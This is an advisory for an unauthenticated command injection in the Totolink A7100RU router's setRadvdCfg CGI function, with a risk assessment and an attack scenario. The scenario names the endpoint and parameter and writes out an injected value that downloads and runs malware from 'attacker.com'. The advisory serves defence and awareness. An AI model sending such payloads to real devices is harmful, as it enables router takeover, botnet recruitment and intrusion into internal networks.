A7100Ru EUVD-2026-21700

Remote unauthenticated attacker can exploit the setRadvdCfg function in /cgi-bin/cstecgi.cgi on Totolink A7100RU firmware 7.4cu.2313_b20191024 by sending a crafted request with a malicious maxRtrAdvInterval parameter to achieve OS command injection. No authentication or user interaction required.

This represents a critical real-world risk despite absence from CISA KEV. The CVSS vector reveals optimal exploit conditions: network attack vector (AV:N) requiring no authentication (PR:N), low complexity (AC:L), and no user interaction (UI:N), with complete compromise of confidentiality, integrity, and availability. The Exploit maturity indicator (E:P) confirms proof-of-concept code exists, and GitHub references validate a working exploit is publicly accessible. For internet-facing Totolink routers, this is immediately weaponizable. However, risk is somewhat constrained by the limited market deployment of this specific consumer router model compared to enterprise-grade devices. The vulnerability predates October 2019, meaning affected devices have been exposed for over five years. Organizations should prioritize remediation if these devices are deployed, particularly if accessible from untrusted networks. The combination of trivial exploitation, public exploit code, and complete system compromise elevates this beyond theoretical risk.

An unauthenticated attacker scans the internet for Totolink A7100RU routers exposing their web management interface on standard ports. Upon identifying a vulnerable device, the attacker crafts an HTTP request to /cgi-bin/cstecgi.cgi targeting the setRadvdCfg function with a malicious maxRtrAdvInterval parameter containing shell metacharacters and commands, such as '60;wget http://attacker.com/malware -O /tmp/bot; chmod +x /tmp/bot; /tmp/bot;'. The router executes the injected commands with root privileges, downloading and executing malware that establishes persistent access, enables the device as a botnet node, or pivots into the internal network to compromise additional systems.